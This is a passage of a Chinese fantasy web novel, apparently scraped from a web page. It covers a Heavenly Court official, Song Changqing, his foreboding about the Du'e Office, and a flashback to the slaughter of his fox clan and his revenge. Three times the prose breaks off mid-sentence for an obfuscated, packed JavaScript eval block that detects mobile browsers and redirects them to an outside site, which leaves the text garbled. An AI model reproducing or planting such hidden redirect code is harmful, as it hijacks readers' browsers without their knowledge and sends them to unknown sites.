谢长渡将盒子放在桌上,拨开金质的扣子将其掀开,里面是一片鲜红的布料,上面用金线绣着花纹,看上去面料极佳,边角有些粗糙,似乎曾被什么人经年累月的攥在手中,以至于起了褶皱。 在这片布料上面,还有一张早已褪色的纸,上面的血迹勾勒成三个歪歪扭扭的字,一大两小,大抵因为年岁久远,早已经模糊不清,看不出写的是什么了。 谢长渡将红布上细微的褶皱抚平,小心的将手中的青玉扇子放入其中,而后盖上盖子,收回袖中。 刚做完这些,就见宋常卿又溜着串小武仙自他门前经过。 渡厄司早给宋常卿收拾好了住处,就在渡厄司东南角,谢长渡书房的右侧,故而窗子一推,宋常卿成日里在院子里做些什么,出门朝哪边走,都让谢长渡看得一清二楚。 见宋常卿边走边哼着小调,手中还掂着个从未见过的球状物事,一步一颠的朝宿禾院里走去,谢长渡破天荒出声唤住了他: “小天君留步。” 宋常卿停下脚步侧头望去,见谢长渡正端坐在桌边透过半开的窗子看过来,二人视线在半空中交汇又分开。 宋常卿让小武仙们在原地等着,自己则把刚淘来的新鲜玩意儿塞进袖子里,懒洋洋的转了个弯儿,脚尖一点,人便出现在谢长渡对面: “谢掌司有何贵干?” 谢长渡抬手轻挥,桌上原本杂乱堆着的折子玉简便都自己飞起来到一边堆好,腾出来一片地方。 手上又是一挥,一套玉质的茶具出现在桌上,茶壶浮在半空自己煮起了茶。 做完这些,谢长渡打了个手势: “小天君请坐。” 宋常卿也不客气,整个人没骨头似的往书桌边上的躺椅里一瘫,还摇了两下: “椅子不错,没想到你这人看着呆呆的,还挺会享受。” 谢长渡给他倒了小半杯茶:“那是敛光君的位子,他平日里闲了总爱到这来蹭茶。” 宋常卿“哦”了声,把茶端在手里暖着,不动了: “你叫我来做什么?” 谢长渡没有任何犹豫就把宿禾给卖了: “敛光君方才来找我,说让我劝着你别再去折腾他。” 宋常卿晃荡着杯子里的茶,闻言眼梢微挑:“我说呢,原来告状了啊……那谢掌司答应了吗?” 谢长渡点头:“毕竟收了报酬。” “很贵重?” 谢长渡极低的笑了一声:“很贵重。” 连渡厄司掌司都觉得贵重的东西,宿禾这是拿出了何等天材地宝?宋常卿好奇的盯着谢长渡的脸,奈何有面具挡着,看不见他脸上的神情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176443|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他将杯中的茶一饮而尽,拍拍手: “你这什么茶,味道不错。” 谢长渡道:“喜欢便带些回去喝。” 宋常卿摇头:“沏茶多麻烦?没兴趣,就当我存在你这儿,往后我要是来了,就给我多沏两壶。” 见谢长渡低低应了一声,对自己的要求没有异议,宋常卿起身抻了抻手臂,便要走人: “若掌司没有别的事情要同我讲,我就先走了,顺便麻烦谢掌司告诉宿禾大人,他先前得罪我的事儿,看在你的面子上本君就不追究了,但往后再撞到我手上……” 宋常卿回头弯着眼笑了笑,艳丽得不可方物:“我说不准真的会起锅煮蛇吃噢。” 谢长渡一时间被晃了眼,待到回神,眼前早没了宋常卿的影子。 他无奈勾了勾唇,坐回去继续批文书,只是心怎么也静不下来,桌上的茶水空了一回又一回,一垂眸又是方才宋常卿朝他回眸的露出的那一抹笑。 其实就连宋常卿也不知道,两人早在两百多年前就曾见过一面,自那以后,红衣人那张扬而肆意的笑便印在了一身脏污的孩童眼中,若天神降临。 谢长渡在宿禾院门口见到宋常卿的那一刻便将人认了出来,哪怕过去了两百余年,宋常卿和当初相比依旧没有半分变化,反倒是他自己,从头到尾找不出一丝当年的痕迹。 但谢长渡确实没想到自己放在心底最深处记了那么多年的人竟真是神仙,还是那位在天庭中臭名昭著的小天君。 宋常卿打谢长渡院里出来后便心情颇佳,晃着脚尖一步一颠,慢悠悠的往前走,几个小武仙又自觉的排成一列跟在他后头,走着走着,领头的小武仙见他眼都不转的路过宿禾的院子,出声提醒道: “大人,大人,咱们走过头了。” 宋常卿正式在渡厄司挂职以后,几个小武仙对他的称呼便从“小天君”变成了“天君大人”和“大人”。 宋常卿懒洋洋摇了摇手指: “没走过头,往后你们也不用去蹲守着了。” 几个小武仙眨眨眼睛,面面相觑一会儿: “为什么啊大人。” 他们玩得还挺起劲的,而且宋常卿在上头兜着,还不会被问罪。 领头的小武仙反应最大:“大人就这么放过他了吗?” “这就是你狭隘了。” 宋常卿在原地站定,抬头望天,轻叹了口气:“得饶人处且饶人,他被咱们这么折腾了十几日,大概也知道错了。” 其实是宋常卿折腾宿禾几日后便已消气了,后面纯粹是闲着没事儿干给宿禾找事。 就算谢长渡今日不同他讲,再过两日宋常卿估计也懒得再去折腾人了。 但几个小武仙不知道,顿时感动得眼泪汪汪: 小天君果然同掌司大人一样是这世上顶好顶厉害的人! 他们都同守卫大哥打听过了,当日宋常卿可是被晾在门外干等了半个多时辰!要不是小天君不顾阻拦自己冲进来了,指不定还得受多少委屈! 若是让宿禾听到他们心里想的这些话,定然要气得跳脚,然后不停歇的指着宋常卿骂上三天三夜。 奈何宿禾没有千里眼顺风耳,也不会读心。 自然也不知道在他毫不知情的时候,宋常卿只凭两句话,就让小武仙们对他本就不好的印象更下一层楼。 11. 青丘乱 不用再去找宿禾的麻烦,几个小武仙又叽叽喳喳的问起来: “那大人,咱们现在去做什么?” 宋常卿随便挑了条岔路走,懒声道:“不知道。” 谢长渡只给他挂了个侍书文仙的职,没安排什么事情做,宋常卿也闲的很。 宋常卿领着几人在渡厄司里头四处绕着,不知怎么就绕到了庭院里。 穿过荷花池上的廊道,宋常卿突然想起来什么,带着他们朝渡厄司正门的方向走: “我们去文昌殿转转怎么样。” 顺便把麦冬和茯苓给带回来。 他之前和谢长渡下界是临时决定,回来以后光想着报复宿禾,又把这俩丫头忘得彻底。 文昌帝君将她们的玉牌都给了宋常卿,如今他人到了渡厄司,把麦冬和茯苓留在文昌殿里蹭吃蹭喝算什么事儿。 小武仙们虽不谙世事,但对文昌殿也有所耳闻。 据说那可是负责处理全天庭除渡厄司外所有部门的各类文书的地方,厉害的不得了。 几个萝卜头顿时兴奋起来:“我们和大人一起去!” 宋常卿目光从他们脸上一一扫过: “我早就想问了,不是说渡厄司成天忙得脚不沾地吗?你们倒是挺闲的。” 领头小武仙摇摇头,同样不解: “我们以前确实也忙呐,经常刚把收回来的鬼魂拉到南天门就又要下界去了。” 他边走边掰着手指头给宋常卿算: “一百六十多年前,小仙刚走完渡身路那一个月,跟着师傅抓了七百八十六只小鬼,二百五十四只恶鬼,三十九只厉鬼,还有一大群游魂,数都数不清……” “但最近这些年来也不知道是怎么回事,别说厉鬼甚至鬼王,就连恶鬼都出现得越来越少了,据说比上次大人您捉的那种厉鬼还要厉害的存在,两百来年前掌司大人一天就能逮十几只呢,现在等半个多月才碰得上一只。” 要抓的鬼变少了,他们这帮人自然也闲得不行。 毕竟只有那些不守规矩,偏要兴风作浪的鬼魂才需要武仙们去抓,正常鬼都在奈何桥那儿排队等着喝汤呢。 小文仙们依旧忙得很,但算功德罪孽这事儿…… 他们不添乱都算好的。 上次有个不识字的家伙,把陆児其的功德记到后面一位叫路二七的仁兄身上,接着往后顺延,把整本功德簿上的都记错了,害得文仙们折腾半天才把人名和功德理顺对应上。 事后被文仙们群起而攻之,屁股上笔杆子抽出来的红痕现在还没消呢。 宋常卿听领头的小武仙说完,了然的点点头,掐指算了算,眉尖忍不住蹙起来。 按小武仙的说法,本应是如今人间太平人们安居乐业,故而恶鬼厉鬼要比往年少上许多。 可自掐算的结果来看,近年来凡间出现的恶鬼和厉鬼虽确实有所减少,却也少不到这种程度。 至少小武仙们不该这么闲,连着半个月都跟着他一块儿折腾宿禾。 宋常卿直觉其中大概出了什么猫腻,猛然转身又向谢长渡院中走去。 他生得高,腿也长,一步便跨出去老远,几个小武仙忙倒腾着短腿跟上: “大人!大人?!等等我们啊!” 谢长渡刚平复好心绪,将注意力集中在笔下的文书上,院门便“哐当”一声被人推开,宋常卿带着一串黑白色的小尾巴走进来。 谢长渡抬眸,见他满眼凝重,便问道: “怎么了?” 宋常卿见几个小武仙还一脸懵的跟在自己身后,抬手轻挥,一阵风将他们扫出去,顺便关上了书房的门。 小武仙们看着面前甩上的门板愣了愣,一个小武仙小心翼翼的问:“老大……咱们现在咋办?” 领头的小武仙满脸认真: “大人一定和掌司大人有很重要的事情要讲,我们要守好附近,不能让别人进去打扰!” 众小武仙:“是!” 屋内,宋常卿把门关上还不罢休,四处看了看,袖子一挥,又是一阵风,将半开的窗子合上。 光线尽数消失,屋内一片黑,只剩下根蜡烛还在孤零零的燃着。 谢长渡见他这般阵仗,也不由得坐直身子,认真起来:“出什么事了?” 别是宿禾被折腾得气晕过去了吧。 宋常卿又抬手罩了层结界,确认整个天庭上下没有一个人能听到他们谈话以后,才看向谢长渡,直奔主题: “你们渡厄司近两年总共抓了多少恶鬼多少厉鬼?游魂和小鬼又有多少?” 谢长渡不大明白他为什么问这个,但还是答道: “恶鬼约七百之数,厉鬼六十,小鬼逾千,游魂数十万。” 宋常卿道:“但方才有个小武仙告诉我,一百多年前,这个数目的鬼他跟着他师傅,只用抓两个月。” 渡厄司的武仙们都是组着队一茬一茬的分开下凡,一百多年前的一支小队,两个月便能抓完整个渡厄司近两年抓到的所有鬼魂…… 怎么想都不对劲。 谢长渡顿时明白了他想说什么:“你的意思是,凡间鬼魂的数目不对劲?” 宋常卿点头,金眸在烛焰映照下越发的亮: “卦象说近年来的鬼魂相比往年并没有少得太多。” 问题便出在这儿,那么多的鬼魂,都去哪了? 宋常卿一想到其中可能存在的问题,没怎么犹豫便转身回来。 谢长渡眸光微动,不由得诧异:“我记得陛下似乎同我说过,小天君不喜按天命行事。” 宋常卿见他竟还有闲心去操心别的事情,忍不住拍了拍桌子: “天命要如何安排这天下,是它的事情,但我是否要听从安排,天命管不着。” “但你现在要做的就是抓紧去查清究竟发生了什么,免得哪天人间大乱了都还一无所知的在这批文书!” 来的路上宋常卿反反复复掐指算着渡厄司的未来,但不管他算了多少次都是同一个答复: 渡厄司将遇大劫。 他又去算这一劫的结果: 涣卦,大凶。 也就是说,若这一劫不能避开,渡厄司必然遭受重创,最轻也是人心涣散,各奔东西。 同样的卦象宋常卿曾经也算出过一次,当时他矮墩墩的一个还没桌子高,垫着脚跑去同父母讲,却并未被他们放在心上,只当是小孩子胡乱说着玩儿。 但那一卦最终的结果…… 青丘内乱,五帝争锋,当时刚学会化形,尚且是只小狐狸的宋常卿眼睁睁看着自己的父母族人死于非命,而后被匆匆赶来,却依旧晚了一步的玉帝带走。 他也是很久之后才听人说,几大族群五败俱伤,彻底决裂,曾经鼎盛时期能与天庭分庭抗礼的青丘彻底成了一盘散沙。 宋常卿一想到将来某一日,渡厄司乃至于整个天庭或许也会上演如当年一般的场面,瞳孔便止不住的发颤。 [天命凶煞,孤辰寡宿……] 似乎所有对他施以善意的人和地方,最终都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176444|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃不过一个“劫”字。 青丘如此,父帝母后如此,玉帝亦是如此。 玉帝自以为生机的流逝能瞒天过海,可宋常卿与生俱来的卜卦之术就算是和太白金星比都不落下风,又怎么看不出玉帝身上的问题? 不过是玉帝不愿宣之于口,他便也装作不知罢了。 而渡厄司的劫,是比当年青丘还要更重的存在。 宋常卿双手撑在桌前和谢长渡对视着,喉头发涩,手脚一阵一阵的发冷,脑中似乎又尖锐的疼起来,却又不知如何开口。 他能说什么?又该说什么? 宋常卿忍不住眨了眨眼,试图将自己从混乱的思绪中拉出来,胸中翻涌的情绪如同一只无形巨手,紧攥着他的脚踝往深渊中坠去。 谢长渡看出宋常卿的状态似乎不太对劲,开口安抚: “小天君不必焦急,我们早有预料。” 他的声音似乎有种诡异的力量,只一瞬便压下了宋常卿心中所有纷乱的情绪,将他从深渊中拽出来。 宋常卿极缓慢的眨了两下眼,思绪回笼:“……什么?” 见他似乎从那种濒临崩溃的情绪中脱离出来,谢长渡微微松了口气: “鬼魂数目的异常早已持续数十年,我和宿禾早有察觉,玉帝的意思是,我们暂且等着,待到幕后之人沉不住气冒出头来,再作打算。” “此事事关重大,先前才未向小天君提及,还请小天君见谅。” 宋常卿愣愣的点头,脑中那阵尖锐的疼渐渐褪去,取而代之的是耳边连绵不绝的吵闹声。 “哇哦,这就是主子上次画的那位美人儿吧~真好看~诶诶,看我了看我了!快看看我的狼毫乱没乱!在美人面前怎么能邋里邋遢的!” 这个声音稍尖的是被谢长渡笔架上的一支狼毫笔。 “别给我在这发春!你一支笔,又不能化形,小天君能搭理你吗?” 一个粗声粗气的声音打断了狼毫笔接下来的话,宋常卿视线扫了扫,发现说话的是谢长渡桌上那方砚台。 每次情绪莫名失控以后,总有这么一段时间会出现这种情况,屋内的笔,砚台,乃至于路上一株毫不起眼的小草都似乎有了生命一般,说话的声音叽叽喳喳往耳朵里钻。 宋常卿习以为常的忽略了笔墨纸砚和桌椅烛台之间的骂战,看向谢长渡: “既然掌司有所准备,我就不叨扰了。” 他现在脑子炸得很,急需找个地方清静清静。 宋常卿脑子嗡嗡的转身往外走,忘了自己先前设下的结界,一头撞了上去。 谢长渡只听见“Duang”一声巨响,刚闪身过去,便瞧见宋常卿顶着额头上的包面无表情的撤掉结界,然后从衣襟里掏出一张符夹在指尖烧了,直接消失不见。 与此同时,文昌殿,宋常卿原本住的宫殿底下的一间密室内。 整间密室除却供着玉帝肖像的壁龛和角落里一张床榻以外便空无一物,一个红色的身影骤然出现在屋子正中,跌跌撞撞的走了两步,晕死在榻上。 *** 文昌殿的庭院内。 两个被宋常卿遗忘得彻底的人在一株杏树下对坐着,半晌,茯苓才冒出来一句: “麦冬姐姐……小天君是不是又把咱们忘了?” 麦冬端坐在那儿,眸子半眯着闭目养神,看起来一派淡然: “别急,大概是临时碰上什么事,被绊住了脚吧。” 一个时辰后,麦冬:“茯苓,他好像真的把我们忘了。” 12. 白狐灭 大概是与当年如出一辙的卦象唤醒了宋常卿尘封多年的记忆,他难得做了个冗长的梦。 梦中的青丘一如当年,河水潺潺的自山间流过,树梢上、地洞里,抑或是某块奇形怪状的石头后面,总会冒出一个个毛球似的小狐狸。 或是借着水面上的倒影梳理毛发,或是兄弟姐妹间互相嬉戏打闹,小狐狸们狡猾得很,常常在别人打累了刚要歇火的时候横插一脚进去,于是刚分开的两只小狐狸转眼又厮打在一块儿。 也有些鬼点子多的小狐狸,带着一帮小跟班四处乱窜,今日划花了这家窗户,明日又打碎了那家的碗。 没被抓到也罢,若是被抓个正着扭送到父母那儿,少不得一顿打。 安详而又热闹。 宋常卿便是他们那一代里最调皮的一个,仗着自己天生便会卜卦,又是白狐狐帝与玉帝亲妹之子,在青丘几乎横着走,带着一大群小狐狸四处折腾。 而被他祸害的人家也不敢真同小太子计较,只能吃了这哑巴亏,好在宋常卿上头父帝母后管得严,不敢太过造次,顶天了也就拆座院子,半个多时辰便能重新建好。 偶尔玩得太过火,白狐帝也看不下去了,便会派人揪着脖领子把小家伙给拎回来,到了他面前,宋常卿又是另一幅嘴脸。 一身白色软毛的小狐狸被侍卫拎着后颈皮提在半空中,跟个白毛球似的嘤咛着缩成一团,水汪汪的狐眼眨巴眨巴,转眼便蓄了一汪泪,要掉不掉的,白狐帝一碰,便伸着粉嫩嫩的肉垫去打他,可怜巴巴的样子像是受了天大的委屈一般。 饶是白狐帝心里再大的火,看到他这幅样子也消气了,只得无奈的拍拍他的脑袋顶,让人把宋常卿放回地上,又吩咐人去给他收拾烂摊子。 白毛球一沾地便嗖一下没了影子,一看便知道没记住教训,果然没过几天,又被揪着后脖子拎回来。 宋常卿生命的头两百年便这么吵吵嚷嚷着在青丘度过。 青丘狐族寿命极长,以数千年计,两百年也不过将将能够化形,弹指一挥。 宋常卿化形的那日,白狐一族中的长老和有些威望的长者尽数到场,在白狐一族的主殿中为他布下阵法,承接功德,同时也抵挡雷劫。 这是青丘狐族必然要经历的一道坎。 虽然他们也能用秘法化形成孩童,但狐狸耳朵和尾巴是收不回去的,要想真正化成人身,必然要经过雷劫的洗礼。 天道是公平的,它降下天命赐福世间万物,也为它们增添了一道无形的枷锁。 就像蚂蚁再怎么也不可能生出灵识,人类被誉作万物之灵,天生便亲近世间所有法则,寿命却不过短短百年。 而青丘狐族生而有灵,更有少数天赋异禀者出生便有灵术傍身,寿命又长得几乎看不见尽头。 天道从不会允许任何生物打破这世间的规律,它的每一件恩赐都在暗中标注好了价码,若要得到这份恩赐,便必然要先经过天道的考验。 妖怪化形,需经雷劫十二道,剔去妖骨化为人身,青丘狐族却要经历整整四十九道,方能化形。 四十九道雷劫过后,生则功德加身,铸登天之梯,死则魂飞魄散,无轮回之路。 这便是天道的公正之处,宽仁而又凉薄。 青丘狐族化形不易,每一只小狐狸的化形雷劫都是族中一等一的大事,更别提宋常卿是整个白狐族最受宠的小太子,虽血脉不纯继承不了狐帝之位,但白狐帝宠着他,旁人自然也不敢怠慢,打起了十二分的精神来应对。 但宋常卿的雷劫声势之浩大,超出了所有人的预料。 九九八十一道紫霄神雷带着煊赫的气势直直劈向阵法正中沐浴着灵力光辉的小狐狸,像是不将他劈得灰飞烟灭便不罢休。 许是宋常卿伴生的卜卦之术让天道感受到了些许不受控制,也可能是宋常卿过凶的命格让天道生出了危机。 总之,天道的雷劫带着要将他就地扼杀的目的,一道更比一道猛烈,但化形已然开始,便不能半途而废,白狐帝等人只能咬牙抗下。 谁也没预料到赤狐一族会在这个时候打进来。 不,大概是有预料的。 前几日宋常卿在外边玩着,忽然踮着脚一颠一颠的跑回家里,两眼泪汪汪的向父帝母后讲述自己算出来的卦象,说青丘将有大劫难。 白狐帝等人只当他又算错了卦,毕竟宋常卿年纪尚幼,卜卦出差错是常有的事,不然也不会三番五次的被侍卫们抓现行。 白狐帝随意揉着儿子乌黑发顶上冒出来的两只毛茸茸的白耳朵,没把他的话放在心上。 青丘五大狐族不合已久,但仍维持着表面上的和睦,数千年来从未发生过太大的冲突。 实力相差不大,又同样都有狐帝坐镇,互相制衡着,无论是哪一族先行动手,另外几族都会不约而同的将矛头对准他们。 牵一发而动全身,谁也不想跳出来成为众矢之的。 但白狐帝还是留了个心眼,派了一支侍卫队守在边境上,以免遭人暗算。 若是普通的挑衅攻击,一支卫队应付起来自然绰绰有余,但赤狐一族竟倾巢而出,一路势不可挡的打到白狐族的主殿。 白狐族的长老们维持着阵法刚挡下一轮雷劫,正是消耗极大,实力虚弱的时候,哪里是他们的对手? 小狐狸缩成一团,被阵法结界护着躺在主殿正中心,骨骼血肉不断撕裂融合,他忍着这股锥心刺骨的疼痛,努力睁眼看向外面,赤狐族的人像是杀得入魔了一般红着眼肆意屠戮着。 大长老倒在了地上,然后是三长老、四长老、六长老、母后…… 小狐狸嘤咛着伸出无力的爪子,想做些什么,却动弹不得,眼前一点点陷入黑暗。 再后面的事情宋常卿也不记得了,他被那仿佛要将他抽筋拆骨的猛烈疼痛折磨得昏死过去,再醒来已经变作了人身。 身形庞大的白狐将纤瘦的少年掩在浓密的毛发下,早已没了声息,周围体型稍显逊色的白狐有的与赤狐同归于尽,有的横亘在主殿正中,帮白狐帝掩盖着他的踪迹。 除了白狐与赤狐的尸体以外,殿内还有零星几具银狐、黄狐与黑狐的尸体,显然另外三大狐族也没有放过这个将白狐族与赤狐族一同消灭的机会。 主殿地面上繁复的花纹早已被鲜血掩盖,殿内成了一片血泊。 宋常卿踉踉跄跄的站起来,身上白衣一大半都被血染成了红色,猩红的液体沿着衣摆一滴滴往下落,他看着眼前这一片血色,心中忽而生出几分荒谬感来。 这就是所谓的天命? 轻而易举便灭掉一整个族群,杀戮无数无辜的生命,造下滔天的罪孽,而后又高挂云端,事不关己的留下一句此为天意? 强盗都比它讲道理几分。 若天命就是如此不讲道理,那反了也罢。 宋常卿抬手,主殿中血泊忽而躁动起来,一滴滴血液自其中分离而出,漂浮到半空中,而后在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176445|150601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋常卿手心下方汇聚成一条猩红的长鞭的模样。 宋常卿眸光死寂,面无表情的看着它变幻。 白狐一族化形成人,眸子常为浅灰,瞳孔则通常是浅浅的绿色,像是春风刚过时,柳树枝头冒出的绿芽,温柔而沉静。 宋常卿的眸子却是澄澈的灿金色,瞳孔鲜红若血。 此时,那一抹红意正往外蔓延着,将金色尽数覆盖。 长鞭在手中一寸寸成形,天边功德金光洒下,小小的器灵从里面探出一个头,下一瞬便被宋常卿沉着眼捏出来,五指一合,碎成片片光尘。 “你不配拥有器灵。”少年的嗓音有些微哑,竭力压制着声音中的颤抖:“记住了,往后,你叫赤血。” 以肮脏的赤狐骨血凝聚而成,永生永世供他驱使,死亦不得安宁。 赤血似乎听出了他话语中蕴含的滔天恨意,不甘的颤动两下,终究是化为一条普通的长鞭,被宋常卿抓入手中。 宋常卿仿若无师自通一般,手腕轻甩,鞭身飞出去卷住一具赤狐的尸体,死死勒住。 手心中灵力迸发,赤狐庞大的躯体“砰”一声化作一团血雾。 宋常卿故技重施,殿中其余赤狐的尸体也都被碎成血雾,尸骨无存。 他提着鞭子走出主殿,正午的日光直直照射下来,有些晃眼睛。 宋常卿却迎着日光照来的方向看过去,眼睛眨也不眨。 ……太阳太大了,刺得人眼酸。 宋常卿眨了两下眼,把那股酸意逼回去,一步踏出,便已位于赤狐一族的主殿之中,转瞬千里。 三日。 宋常卿在青丘杀了整整三日,他提着鞭子在几大狐族的领地上走着,另一只手不断掐算,手上凡是沾着白狐族鲜血的,都被他毫不犹豫便取了性命,绞成血雾,连尸骨都不曾留下。 几位狐帝也不是没想过亲自出手阻拦,但就连赤狐帝也死在了宋常卿手中,他们犹豫过后还是选择了作壁上观。 烈日当空,一个黑色的影子忽然从密林中窜过,身后一道艳红的身影闲庭信步一般跟着,一步踏出便挡在那只黑狐的面前。 黑狐浑身伤痕,一张口鲜血便不停的往外冒:“宋常青,你别欺人太甚!你再这般杀戮下去,狐帝陛下定然亲自出手剿杀你!” 白衣早被彻底染红的少年提着鞭子站在它面前,闻言歪了歪头: “说这么多又有什么用处呢?” “反正都是要死的,你倒不如留点力气负隅顽抗一下。” “你!”黑狐气急,还要再说些什么,下一瞬便被长鞭勒住脖子悬在半空。 宋常青平静的看着他垂死挣扎的模样,淡淡启唇: “最后一个。” 黑狐炸成一团血雾,宋常青瞳眸中血色渐渐褪去,踉跄着跪坐在地上,从衣襟中摸出两块碎裂得不成样的魂玉来。 温润的白玉早已失去平日的光泽,成了两块平常的玉石,宋常青捧着碎裂的魂玉,眼泪这会儿才终于落下来: “爹…娘……大长老……” “常青给你们报仇了。” 就在他话音落下的那一瞬,刺目金光冲天而起,一直延伸至九重天上,玉帝也总算借着这道光找到了他的位置。 那一日,三界皆有异象现世,宋常卿以武飞升。 自那以后,青丘少了四处捣乱的小太子宋常青,天庭多了位身着红衣,耳坠白玉的小天君。 宋常卿。 13. 菩提子 连个窗都没有的密室内透不进一丝光,昏暗得几乎伸手不见五指,只能借着壁龛前要灭不灭,苟延残喘的烛焰勉强看清点轮廓。 壁龛上供着的是幅玉帝像,一身华服,金冠束发,持剑立于云端,双目半阖,气势凌厉,却因低垂的眉眼显出几分温和来。 是凡人心目中玉帝陛下英明神武又怜悯苍生的模样。 画像的边角有些泛黄,也不知在这儿挂了多久。 角落里的矮榻上,锦被拱起的弧度勾勒出一个人形,边角处依稀能看见红色的衣料,几缕乌黑的发散落在外面。 不知过了多久,榻上那团锦被忽然蠕动两下,里面钻出个人来。 宋常卿揉了揉闷痛不已的太阳穴,感觉脸上似乎有什么东西,便顺手撩起袖子擦了擦。 湿润的触感传来,宋常卿这才后知后觉自己竟流了满脸泪。 他拽着袖子愣愣的眨眨眼,脑中思绪缓缓回笼: 他怎么到密室里来了? 哦,他好像是打算回文昌殿接麦冬她们两个来着。 之后算出渡厄司的劫难,又回去找了谢长渡。 然后……好像心症发作了? 宋常卿拧眉回忆着。 他这心症由来已久,自刚飞升时便有,没什么规律,时不时就蹦出来发作一回。 每次发作时,情绪总不受控制的来回乱窜,头痛欲裂,等熬过了那阵痛,还总有一堆声音在耳边吵吵嚷嚷,烦人得紧。 发作时的情况也全无定数,有时瞳孔猩红,逮着谁抽谁,有时又似乎看着毫无异样,实际整个人都已完全失控。 无一例外的是每次发作过后,除了有一段时日耳边总有声音叽叽喳喳以外,宋常卿都记不清自己做了些什么。 玉帝也不是没找医师给他看过,药王和福禄寿星轮番上阵,就连太上老君都拉来了,但都对其束手无策,一个个只说心病还需心药医。 玉帝无法,只能凡事尽量顺着宋常卿的意思来,免得他情绪一激动,又心症发作提着鞭子到处抽人。 宋常卿在榻上呆坐一会儿,怎么也想不起当时都发生了些什么,但他既到了密室内,应当没闯出祸来。 便没太把这事儿放心上,翻身下了榻。 这间密室是他给自己挖来应付心症发作过后,耳边那些吵嚷的声音的,空旷得很,一眼就能把里面的陈设尽收眼底。 近几十年未曾光顾,地上难免落了层薄灰,宋常卿又光着脚,刚踩在地上便忍不住皱眉。 大袖一挥,一阵仙风扬起,密室内顿时纤尘不染,宋常卿刚要满意的点头,结果周围本就看不明晰的环境忽然一片黑。 原本垂死挣扎着的烛火被风吹得摇曳两下,直接灭了。 “……” 力道大了。 毕竟刚犯完病,脑子不好使也正常。 宋常卿如此安慰自己,随手掐了个咒来照明,提步走到壁龛前,见香烛已经差不多燃尽,便换了根新的上去。 他又抬眼看了看玉帝的肖像,想想还是供上三炷香,拜了三拜,又割开手心,将鲜血滴在香炉中。 血液刚与香炉中香灰触碰,便蒸腾成一片血色的轻烟,升上半空缓缓消散。 宋常卿眸中金色黯淡一瞬,又恢复成原样,他并指在手心伤口处一抹,血淋淋的口子便消失得无影无踪。 自然不是被治好了,只不过一个小小的障眼法,免得引人注意。 宋常卿不知道的是,现在整个渡厄司找人都要找疯了。 小武仙们自那日小天君把他们从掌司大人书房里扔出来以后,便一直在门口守着,结果没等到宋常卿出门,而是谢长渡出来让他们散了。 几个小武仙自然不会忤逆他的命令,刚巧凡间又有恶鬼现世,他们便下界捉鬼去了。 结果自凡间回来,萝卜头们惊恐的发现: 天君大人竟然不见了! 整个渡厄司的神仙们穿着不是黑就是白,宋常卿的红衣在里面跟个灯笼似的,扔进人堆里也一眼就能看到,可小武仙们找遍了渡厄司,愣是连个影子都没瞧见。 在小武仙们把渡厄司犁了四五遍,就差揪着庭院里的花花草草一个个看是不是宋常卿变的以后,就连宿禾也有些慌了。 瓜子都磕得快了几分:“那么大个人进了你屋里,就连个影子都没了,真没半点头绪?” 谢长渡被他“咔咔咔”磕瓜子的声音吵得连文书都看不进去,索性放下笔: “你这会儿倒是关心上了。” 先前也不知谁喊着渡厄司里宋常卿和他只能留一个。 宿禾一脸理所当然的摇头:“在这天庭上就是咱都死完了他都不会有事儿,我担心什么?” “我就是好奇。” 谢长渡见他面前的茶杯又见了底,便又斟上一杯: “……有什么可好奇的?” “好奇你怎么把他气走的呗。”宿禾瓜子磕完,又从手边的盘子里抓了一把,“咔咔咔”的脆响不绝于耳: “回头我学学。” 把宋常卿气得离他越远越好,免得哪天殃及池鱼。 宿禾如此想着,语重心长的劝谢长渡: “不是我说你,把人放进来就罢了,和他那么亲近做什么?” “还亲自带他下界去走渡身路,这是能随意带的吗?到时神魂锁在一处,怎么死的都不知道。” “听我一句劝,离那煞星远点成不……” 宿禾正说着,却感觉谢长渡看的方向不大对劲。 ……视线似乎越过他的肩头,落在后面。 他拿瓜子的手一僵,果不其然听见了一道他无论如何都不想听见的声音: “是我来得不巧了,宿大人又在说我坏话呢?” 宋常卿脸上笑得温和,笑意却不达眼底,伸手拍了拍宿禾的肩头: “怎么不说了?继续说,我就在这听着呢。” 宿禾手上还拿着颗瓜子,脑子一时半会儿没转过弯来:“你你……你什么时候来的?!” 宋常卿似笑非笑,张口复述了一段: “回——头——我——学——学——” “宿禾大人这是打算学什么?” 宿禾轻咳两声:“咳咳,长渡说他近日在库房中寻见一本古籍,上头的文字不大好认,不知是多久前留下的,也不知是哪族文字,我们正说着呢。” 宋常卿意味深长的“哦”了声,道:“是吗?” 宿禾深吸一口气,心里默念:这个疯子惹不起惹不起惹不起……稳住! 勉强扯出一个笑来:“那是自然。” 